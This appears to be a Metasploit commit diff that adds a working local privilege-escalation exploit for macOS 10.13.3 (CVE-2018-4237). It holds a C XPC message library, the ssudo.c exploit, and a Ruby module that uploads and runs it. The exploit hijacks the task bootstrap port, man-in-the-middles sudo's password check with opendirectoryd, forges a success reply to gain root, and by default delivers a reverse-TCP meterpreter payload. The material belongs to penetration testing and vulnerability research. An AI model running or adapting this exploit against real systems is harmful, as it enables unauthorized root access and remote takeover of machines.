if (reader->ptr + len > reader->end) {
printf("OOB read in spc_read\n");
abort();
}
void* res = reader->ptr;
reader->ptr += len;
return res;
}
uint64_t spc_read_uint64(reader_t* reader)
{
return *(uint64_t*)spc_read(reader, 8);
}
int64_t spc_read_int64(reader_t* reader)
{
return *(int64_t*)spc_read(reader, 8);
}
double spc_read_double(reader_t* reader)
{
return *(double*)spc_read(reader, 8);
}
uint32_t spc_read_uint32(reader_t* reader)
{
return *(uint32_t*)spc_read(reader, 4);
}
void* spc_read_padded(reader_t* reader, size_t size)
{
size_t remainder = (4 - (size % 4)) % 4;
return spc_read(reader, size + remainder);
}
char* spc_read_str(reader_t* reader)
{
unsigned char* end = memchr(reader->ptr, 0, reader->end - reader->ptr);
if (!end)
return NULL;
return spc_read_padded(reader, end - reader->ptr + 1);
}
spc_port_t spc_reader_next_port(reader_t* reader)
{
if (reader->next_port >= reader->num_ports)
return SPC_NULL_PORT;
reader->next_port++;
return reader->ports[reader->next_port - 1];
}
spc_value_t spc_deserialize_value(reader_t* reader);
spc_array_t* spc_deserialize_array(reader_t* reader)
{
spc_array_t* array = spc_array_create();
spc_read_uint32(reader);
size_t length = spc_read_uint32(reader);
for (uint32_t i = 0; i < length; i++) {
spc_value_t value = spc_deserialize_value(reader);
spc_array_set_value(array, i, value);
}
return array;
}
spc_dictionary_t* spc_deserialize_dict(reader_t* reader)
{
spc_dictionary_t* dict = spc_dictionary_create();
spc_read_uint32(reader);
dict->num_items = spc_read_uint32(reader);
for (uint32_t i = 0; i < dict->num_items; i++) {
spc_dictionary_item_t* item = malloc(sizeof(spc_dictionary_item_t));
item->key = strdup(spc_read_str(reader));
item->value = spc_deserialize_value(reader);
item->next = dict->items;
dict->items = item;
}
return dict;
}
spc_value_t spc_deserialize_value(reader_t* reader)
{
spc_value_t value;
value.type = spc_read_uint32(reader);
switch (value.type) {
case SPC_TYPE_NULL:
break;
case SPC_TYPE_BOOL:
value.value.u64 = spc_read_uint32(reader);
break;
case SPC_TYPE_UINT64:
value.value.u64 = spc_read_uint64(reader);
break;
case SPC_TYPE_INT64:
value.value.i64 = spc_read_int64(reader);
break;
case SPC_TYPE_DOUBLE:
value.value.dbl = spc_read_double(reader);
break;
case SPC_TYPE_STRING:
spc_read_uint32(reader);
value.value.str = strdup(spc_read_str(reader));
break;
case SPC_TYPE_ARRAY:
value.value.array = spc_deserialize_array(reader);
break;
case SPC_TYPE_DICT:
value.value.dict = spc_deserialize_dict(reader);
break;
case SPC_TYPE_SEND_PORT:
value.value.port = spc_reader_next_port(reader);
break;
case SPC_TYPE_RECV_PORT:
value.value.port = spc_reader_next_port(reader);
break;
case SPC_TYPE_UUID:
value.value.ptr = malloc(0x10);
memcpy(value.value.ptr, spc_read(reader, 0x10), 0x10);
break;
case SPC_TYPE_DATA:
value.value.data.size = spc_read_uint32(reader);
value.value.data.ptr = malloc(value.value.data.size);
memcpy(value.value.data.ptr, spc_read_padded(reader, value.value.data.size), value.value.data.size);
break;
default:
printf("Unsupported value type: 0x%x\n", value.type);
exit(-1);
}
return value;
}
#define MSGID_CONNECTION_INTERRUPTED 71
spc_message_t* spc_deserialize(spc_mach_message_t* mach_msg)
{
reader_t reader;
reader.next_port = 0;
reader.num_ports = 0;
reader.ports = NULL;
reader.end = (unsigned char*)mach_msg + mach_msg->header.msgh_size;
reader.ptr = mach_msg->buf;
// Handle well-known message IDs
if (mach_msg->header.msgh_id == MSGID_CONNECTION_INTERRUPTED) {
spc_dictionary_t* dict = spc_dictionary_create();
spc_dictionary_set_string(dict, "error", "Connection interrupted");
printf("Connection interrupted\n");
// TODO
exit(-1);
}
if (mach_msg->header.msgh_bits & MACH_MSGH_BITS_COMPLEX) {
mach_msg_body_t* body = (mach_msg_body_t*)spc_read(&reader, sizeof(mach_msg_body_t));
for (int i = 0; i < body->msgh_descriptor_count; i++) {
mach_msg_descriptor_type_t type = ((mach_msg_type_descriptor_t*)reader.ptr)->type;
switch (type) {
case MACH_MSG_PORT_DESCRIPTOR: {
reader.ports = realloc(reader.ports, (reader.num_ports + 1) * sizeof(spc_port_t));
mach_msg_port_descriptor_t* descriptor = (mach_msg_port_descriptor_t*)spc_read(&reader, sizeof(mach_msg_port_descriptor_t));
reader.ports[reader.num_ports].name = descriptor->name;
reader.ports[reader.num_ports].type = descriptor->disposition;
reader.num_ports += 1;
break;
}
case MACH_MSG_OOL_DESCRIPTOR:
spc_read(&reader, sizeof(mach_msg_ool_descriptor_t));
printf("Warning: ignoring OOL descriptor\n");
break;
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
spc_read(&reader, sizeof(mach_msg_ool_ports_descriptor_t));
printf("Warning: ignoring OOL ports descriptor\n");
break;
default:
printf("Unsupported mach message descriptor type: %d\n", type);
exit(-1);
}
}
}
void* header = spc_read(&reader, 8);
memcpy(last_header, header, 8);
spc_value_t value = spc_deserialize_value(&reader);
if (value.type != SPC_TYPE_DICT) {
spc_value_destroy(value);
puts("Invalid XPC message type");
return NULL;
}
spc_message_t* msg = malloc(sizeof(spc_message_t));
msg->remote_port.name = mach_msg->header.msgh_remote_port;
msg->remote_port.type = MACH_MSGH_BITS_REMOTE(mach_msg->header.msgh_bits);
msg->local_port.name = mach_msg->header.msgh_remote_port;
msg->local_port.type = MACH_MSGH_BITS_LOCAL(mach_msg->header.msgh_bits);
msg->id = mach_msg->header.msgh_id;
msg->content = value.value.dict;
return msg;
}

View File

@ -0,0 +1,19 @@
#ifndef _SERIALIZATION_H_
#define _SERIALIZATION_H_
#include "datatypes.h"
#include <mach/mach.h>
typedef struct _spc_mach_message_t {
mach_msg_header_t header;
unsigned char buf[]; // variable sized body
} spc_mach_message_t;
// Serializes the given dictionary into a spc_mach_message_t.
// The returned pointer has to be free()d by the caller.
spc_mach_message_t* spc_serialize(spc_message_t* msg);
spc_message_t* spc_deserialize(spc_mach_message_t* msg);
#endif

View File

@ -0,0 +1,6 @@
#include "datatypes.h"
#include "array.h"
#include "dictionary.h"
#include "serialization.h"
#include "connection.h"
#include "utils.h"

View File

@ -0,0 +1,79 @@
#include "utils.h"
const char* spc_errors[] = {
"",
"Malformed bundle",
"Invalid path",
"Invalid property list",
"Invalid or missing service identifier",
"Invalid or missing Program/ProgramArguments",
"Could not find specified domain",
"Could not find specified service",
"The specified username does not exist",
"The specified group does not exist",
"Routine not yet implemented",
"(n/a)",
"Bad response from server",
"Service is disabled",
"Bad subsystem destination for request",
"Path not searched for services",
"Path had bad ownership/permissions",
"Path is whitelisted for domain",
"Domain is tearing down",
"omain does not support specified action",
"Request type is no longer supported",
"The specified service did not ship with the operating system",
"The specified path is not a bundle",
"The service was superseded by a later version",
"The system encountered a condition where behavior was undefined",
"Out of order requests",
"Request for stale data",
"Multiple errors were returned; see stderr",
"Service cannot load in requested session",
"Process is not managed",
"Action not allowed on singleton service",
"Service does not support the specified action",
"Service cannot be loaded on this hardware",
"Service cannot presently execute",
"Service name is reserved or invalid",
"Reentrancy avoided",
"Operation only supported on development builds",
"Requested entry was cached",
"Requestor lacks required entitlement",
"Endpoint is hidden",
"Domain is in on-demand-only mode",
"The specified service did not ship in the requestor",
"The specified service path was not in the service cache",
"Could not find a bundle of the given identifier through LaunchServices",
"Operation not permitted while System Integrity Protection is engaged",
"A complete hack",
"Service cannot load in current boot environment",
"Completely unexpected error",
"Requestor is not a platform binary",
"Refusing to execute/trust quarantined program/file",
"Domain creation with that UID is not allowed anymore",
"System service is not in system service whitelist",
"Unknown error",
};
const char* spc_strerror(int errno)
{
const char* result;
if (errno - 107 >= 52)
result = strerror(errno);
else
result = spc_errors[errno - 106];
return result;
}
int mach_port_addref(mach_port_t port, mach_port_right_t right) {
mach_port_urefs_t refs;
kern_return_t kr = mach_port_get_refs(mach_task_self(), port, right, &refs);
ASSERT_MACH_SUCCESS(kr, "mach_port_get_refs");
ASSERT_MSG(refs != 0, "invalid mach port given to mach_port_addref");
kr = mach_port_mod_refs(mach_task_self(), port, right, 1);
ASSERT_MACH_SUCCESS(kr, "mach_port_mod_refs");
return refs + 1;
}

View File

@ -0,0 +1,18 @@
#ifndef _UTILS_H_
#define _UTILS_H_
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#define ASSERT(c) if (!(c)) { printf("[-] assertion \"" #c "\" failed\n"); exit(-1); }
#define ASSERT_MSG(c, msg) if (!(c)) { printf("[-] %s\n", msg); exit(-1); }
#define ASSERT_SUCCESS(r, name) if (r != 0) { printf("[-] %s failed!\n", name); exit(-1); }
#define ASSERT_MACH_SUCCESS(r, name) if (r != 0) { printf("[-] %s failed: %s!\n", name, mach_error_string(r)); exit(-1); }
#define ASSERT_POSIX_SUCCESS(r, name) if (r != 0) { printf("[-] %s failed: %s!\n", name, strerror(r)); exit(-1); }
const char* spc_strerror(int errno);
int mach_port_addref(mach_port_t port, mach_port_right_t right);
#endif

View File

@ -0,0 +1,6 @@
CC = clang
CFLAGS += -I../libspc
LIB = $(wildcard ../libspc/*.c)
ssudo: ssudo.c $(LIB)
$(CC) $(CFLAGS) -o ssudo $(LIB) ssudo.c

Binary file not shown.

View File

@ -0,0 +1,278 @@
/*
* ssudo.c - local root exploit for macOS 10.13.3
*
* Achieves MitM between sudo and opendirectoryd (which verifies passwords) by
* abusing the task_set_special_port API to overwrite the bootstrap port.
*
* Program flow:
* 1. Overwrite the bootstrap port, start threads to bridge XPC traffic to
* opendirectoryd, forward traffic to launchd but resolve opendirectoryd
* to our own port instead
* 2. Fork and exec sudo. Sudo will talk to opendirectoryd to verify the
* password. We modify the reply to indicate success
* 3. sudo executes this binary again. We detect that and restore the bootstrap
* port, then run the requested command
*
* Limitations: currently stderr is set to stdout in the child processes, see comments below
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>
#include <bootstrap.h>
#include <errno.h>
#include <spc.h>
#define TARGET_SERVICE "com.apple.system.opendirectoryd.api"
#define SERVICE_NAME "net.saelo.hax"
// Need to declare this since it's not included in bootstrap.h
extern kern_return_t bootstrap_register2(mach_port_t bp, name_t service_name, mach_port_t sp, int flags);
mach_port_t bootstrap_port, fake_bootstrap_port, fake_service_port, real_service_port;
pthread_t fake_service_thread, bridge_threads[2];
void get_bootstrap_port()
{
kern_return_t kr = task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bootstrap_port);
ASSERT_MACH_SUCCESS(kr, "task_get_special_port");
}
// Generic XPC bridge. Works only for messages that do not expect a reply.
void* bridge_connection(void* arg)
{
spc_connection_t* bridge = arg;
while (1) {
spc_message_t* msg = spc_recv(bridge->receive_port);
msg->local_port.name = MACH_PORT_NULL;
msg->local_port.type = 0;
msg->remote_port.name = bridge->send_port;
msg->remote_port.type = MACH_MSG_TYPE_COPY_SEND;
// Hack 3: replace "error: 5000" with "error: 0" to indicate success
spc_dictionary_item_t* item = spc_dictionary_lookup(msg->content, "error");
if (item)
item->value.value.u64 = 0;
spc_send(msg);
spc_message_destroy(msg);
}
return NULL;
}
void* fake_service_main(void* arg)
{
int ret;
// Await incoming connection
spc_connection_t* client_connection = spc_accept_connection(fake_service_port);
spc_connection_t* service_connection = spc_create_connection_mach_port(real_service_port);
spc_connection_t* bridge_1 = malloc(sizeof(spc_connection_t));
spc_connection_t* bridge_2 = malloc(sizeof(spc_connection_t));
bridge_1->receive_port = client_connection->receive_port;
bridge_1->send_port = service_connection->send_port;
bridge_2->receive_port = service_connection->receive_port;
bridge_2->send_port = client_connection->send_port;
ret = pthread_create(&bridge_threads[0], NULL, &bridge_connection, bridge_1);
ASSERT_POSIX_SUCCESS(ret, "pthread_create");
ret = pthread_create(&bridge_threads[1], NULL, &bridge_connection, bridge_2);
ASSERT_POSIX_SUCCESS(ret, "pthread_create");
free(client_connection);
free(service_connection);
return NULL;
}
void start_fake_service()
{
kern_return_t kr;
// Resolve real service port for later
kr = bootstrap_look_up(bootstrap_port, TARGET_SERVICE, &real_service_port);
ASSERT_MACH_SUCCESS(kr, "bootstrap_look_up");
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &fake_service_port);
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
kr = bootstrap_register2(bootstrap_port, SERVICE_NAME, fake_service_port, 0);
ASSERT_MACH_SUCCESS(kr, "bootstrap_register2");
// Run the fake service in a separate thread
int ret = pthread_create(&fake_service_thread, NULL, &fake_service_main, NULL);
ASSERT_POSIX_SUCCESS(ret, "pthread_create");
}
void setup_fake_bootstrap_port()
{
kern_return_t kr;
mach_port_t fake_bootstrap_send_port;
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &fake_bootstrap_port);
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
mach_msg_type_name_t aquired_type;
kr = mach_port_extract_right(mach_task_self(), fake_bootstrap_port, MACH_MSG_TYPE_MAKE_SEND, &fake_bootstrap_send_port, &aquired_type);
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
// Hack 1: replace the bootstrap port of this and all child processes with our own port
kr = task_set_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, fake_bootstrap_send_port);
ASSERT_MACH_SUCCESS(kr, "task_set_special_port");
}
void restore_bootstrap_port()
{
spc_dictionary_t* msg = spc_dictionary_create();
spc_dictionary_t* reply;
spc_domain_routine(0x31337, msg, &reply);
mach_port_t bootstrap_port = spc_dictionary_get_send_port(reply, "original_bootstrap_port");
kern_return_t kr = task_set_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, bootstrap_port);
ASSERT_MACH_SUCCESS(kr, "task_set_special_port");
spc_dictionary_destroy(msg);
spc_dictionary_destroy(reply);
}
void handle_sigchld()
{
exit(0);
}
// Spawn the (privileged) child process with our controlled bootstrap port
void spawn_child(const char* self, const char* command)
{
int stdin_pipe[2];
pipe(stdin_pipe);
pid_t pid = fork();
if (pid == 0) {
close(stdin_pipe[1]);
// sudo will only preserve the first three file descriptors, so we abuse
// stdout to remporarily hold on to stdin.
// TODO to fix this we'd have to fetch the original file descriptors
// from the parent via XPC.
dup2(STDOUT_FILENO, STDERR_FILENO);
dup2(STDIN_FILENO, STDOUT_FILENO);
dup2(stdin_pipe[0], STDIN_FILENO);
execl("/usr/bin/sudo", "/usr/bin/sudo", "-p", "", "-S", self, command, NULL);
ASSERT_POSIX_SUCCESS(errno, "execl");
} else if (pid < 0) {
puts("Fork failed");
ASSERT_POSIX_SUCCESS(errno, "fork");
}
close(stdin_pipe[0]);
struct sigaction sa;
sa.sa_handler = &handle_sigchld;
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_RESTART | SA_NOCLDSTOP;
if (sigaction(SIGCHLD, &sa, 0) == -1) {
printf("sigaction failed\n");
exit(-1);
}
// Send a "password" so sudo continues
write(stdin_pipe[1], "i_can_haz_root\n", 16);
}
void bridge_launchd_connection()
{
// For launchd messages, libxpc checks that the reply comes from pid 1 and uid 0.
// As such, we have to let launchd send the replies directly to our child process.
// However, we can manipulate the messages sent to launchd and can thus resolve
// services to different (controlled) ports.
while (1) {
// Wait for the next bootstrap message from a child process.
spc_message_t* msg = spc_recv(fake_bootstrap_port);
// Special routine: allow child processes to restore the bootstrap port
if (spc_dictionary_get_uint64(msg->content, "routine") == 0x31337) {
spc_dictionary_t* reply = spc_dictionary_create();
spc_dictionary_set_send_port(reply, "original_bootstrap_port", bootstrap_port);
spc_reply(msg, reply);
spc_message_destroy(msg);
spc_dictionary_destroy(reply);
continue;
}
// Rewrite source (our child process) and destination (real launchd) of message.
msg->local_port.name = msg->remote_port.name;
msg->local_port.type = MACH_MSG_TYPE_MOVE_SEND_ONCE;
msg->remote_port.name = bootstrap_port;
msg->remote_port.type = MACH_MSG_TYPE_COPY_SEND;
// Possibly modify the message before forwarding to launchd
if (spc_dictionary_get_send_port(msg->content, "domain-port") == fake_bootstrap_port) {
// Must replace our fake bootstrap port in the content of the message with the real one.
spc_dictionary_set_send_port(msg->content, "domain-port", bootstrap_port);
}
if (strcmp(spc_dictionary_get_string(msg->content, "name"), TARGET_SERVICE) == 0) {
// Hack 2: resolve the target service to our fake service instead >:)
spc_dictionary_set_string(msg->content, "name", SERVICE_NAME);
// Must also change a few of the other fields of the message...
spc_dictionary_set_uint64(msg->content, "flags", 0);
spc_dictionary_set_uint64(msg->content, "subsystem", 5);
spc_dictionary_set_uint64(msg->content, "routine", 207);
spc_dictionary_set_uint64(msg->content, "type", 7);
}
// Forward to launchd
spc_send(msg);
spc_message_destroy(msg);
}
}
int main(int argc, char** argv)
{
if (argc < 2) {
printf("Usage: %s command\n", argv[0]);
return 0;
}
if (getuid() == 0) {
// We are being executed by sudo. We now need to restore the original
// bootstrap port and stdin fd and then execute the requested command
restore_bootstrap_port();
if (!fork()) {
dup2(STDOUT_FILENO, STDIN_FILENO);
dup2(STDERR_FILENO, STDOUT_FILENO);
return execl("/bin/bash", "/bin/bash", "-c", argv[1], NULL);
}
return 0;
}
// Copy command into one string suitable for "bash -c"
size_t size = 0;
for (int i = 1; i < argc; i++) {
size += strlen(argv[i]) + 1;
}
char* command = calloc(size, 1);
for (int i = 1; i < argc; i++) {
strlcat(command, argv[i], size);
strlcat(command, " ", size); // final whitespace will not be written due to size limit
}
get_bootstrap_port();
start_fake_service();
setup_fake_bootstrap_port();
spawn_child(argv[0], command);
bridge_launchd_connection();
return 0;
}

View File

@ -4,6 +4,10 @@ module Msf::Post::OSX::System
include ::Msf::Post::Common
include ::Msf::Post::File
def get_system_version
cmd_exec("/usr/bin/sw_vers -productVersion")
end
#
# Return a hash with system Information
#

View File

@ -0,0 +1,87 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X libxpc MITM Privilege Escalation',
'Description' => %q{
This module exploits a vulnerablity in libxpc on macOS <= 10.13.3
The task_set_special_port API allows callers to overwrite their bootstrap port,
which is used to communicate with launchd. This port is inherited across forks:
child processes will use the same bootstrap port as the parent.
By overwriting the bootstrap port and forking a child processes, we can now gain
a MitM position between our child and launchd.
To gain root we target the sudo binary and intercept its communication with
opendirectoryd, which is used by sudo to verify credentials. We modify the
replies from opendirectoryd to make it look like our password was valid.
},
'License' => MSF_LICENSE,
'Author' => [ 'saelo' ],
'References' => [
['CVE', '2018-4237'],
['URL', 'https://github.com/saelo/pwn2own2018'],
],
'Arch' => [ ARCH_X64 ],
'Platform' => 'osx',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { } ]
],
'DisclosureDate' => 'Mar 15 2018'))
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def upload_executable_file(filepath, filedata)
print_status("Uploading file: '#{filepath}'")
write_file(filepath, filedata)
chmod(filepath)
register_file_for_cleanup(filepath)
end
def check
version = Gem::Version.new(get_system_version)
if version >= Gem::Version.new('10.13.4')
CheckCode::Safe
else
CheckCode::Appears
end
end
def exploit
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2018-4237", "ssudo" ))
exploit_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
upload_executable_file(exploit_file, exploit_data)
payload_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
upload_executable_file(payload_file, generate_payload_exe)
exploit_cmd = "#{exploit_file} #{payload_file}"
print_status("Executing cmd '#{exploit_cmd}'")
cmd_exec(exploit_cmd)
end
end